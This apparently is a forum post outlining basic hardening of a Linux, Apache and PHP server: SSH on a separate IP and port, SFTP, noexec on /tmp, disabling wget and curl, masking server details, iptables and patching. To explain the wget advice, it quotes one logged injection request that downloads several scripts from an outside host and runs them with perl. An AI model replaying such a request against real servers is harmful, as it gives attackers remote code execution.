Here’s a (very) basic outline for you. You’ll need to do some research on each step. This post is specific to a Linux server running Apache and PHP, a very common combination. Servers running ASP or other software will no doubt require other considerations.
Never ever use standard ports or your main IP for shell access, and never use FTP.
Result? Every server requires at least two IP addresses – one for the httpd server that resolves from your web domain, and one for SSH (running on non-standard port). So we have:
www.example.com A RECORD 18.104.22.168 (httpd binds to this)
…and one further IP address, with no reverse lookup set in DNS for SSHd and for SSHd only. And not on port 22. Go for a random port like 1024 or 6667.
What about FTP? What about it indeed. You don’t need it if you have SSH – any half decent FTP client can tunnel in over SSH. It’s called Secure FTP or SFTP. Even FileZilla will do it.
Mount /tmp directories with noexec and nosuid to prevent download/execution.
Note: httpd will still be able to write and execute anywhere the user httpd has privileges. Think it through and make double sure.
Disable unnecessary functions
This can cause problems for sites that use them. Do one at a time and test.
Disable GCC, WGET and CURL
If you do nothing else, do this. Assuming your site doesn’t need them. In fact, here’s a really really obvious one – anything your site doesn’t need, disable it.
Here’s an example of an old ubbthreads hole:
/forum/ubbthreads.php?Cat=http://www.somesite.com/spy.gif?&cmd=cd%20/tmp;wget%20www.somesite.com/spybot.txt;wget%20www.somesite.com/worm1.txt;wget%20www.somesite.com/php.txt;wget%20www.somesite.com/ownz.txt;wget%20www.somesite.com/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt HTTP/1.1" 200 31785 "-" "LWP::Simple/5.63"
So, we have:
…from one single http request. 5 scripts just got executed. If Apache didn’t have the ability to use wget, this injection attack could have been avoided.
Priviledges and Groups
Make priviledge groups or no exec them and regrant on an as and when needed basis.
Ask yourself: What are we running and why?
Disable unnecessary servers. ps -aux is your friend.
You might consider to leave telnet running in case SSH fails, but only where the co-lo or self-managed hosting co. has no facility for remote KVM in an emergency. Otherwise kill it.
Ask yourself: Are we up to date?
Apply patches. That’s really easy to do. Absolutely no excuse… especially with today’s 1-click package managers.
People here often think of mod_rewrite only in terms of SEO friendly URL’s, but it’s actually a fantastic way to hide your network and application topologies. Think about it, I can take a PHP site and make it look like it’s running on ASP. That’s pretty cool. I could even have Linux Apache Server claim to be a Windows Apache Server. That’s pretty cool too.
If you don’t mask it, switch it off. Apache defaults to telling the World all about itself. That’s bad – edit the httpd.conf file to remove any broadcast of installed modules, version numbers, et cetera.
You must must must know how to use iptables. Forget any of the web based interface garbage. Learn how to work it from the command line. If you can’t do that, get a managed server… seriously.
Ground up re-write your iptables rules. You only have open what you need.
Have we been rooted? You need to do this immediately in view of what you have just experienced.
Here’s the deal… I just blasted through this in about 10 minutes flat. It requires a lot more thought and implementation, as you probably guessed. If you didn’t guess, and you try and read this as more than a basic how-to guide, then pack it in and go buy yourself a managed server. If you read through this and go “ahhhh… ok, I get it” then you have enough to go and do some research, buy a decent book on securing a Linux server and go to it.
From scratch, with no experience, you could learn enough and get the job done in 24 hours, assuming your basic Linux skills are up to scratch.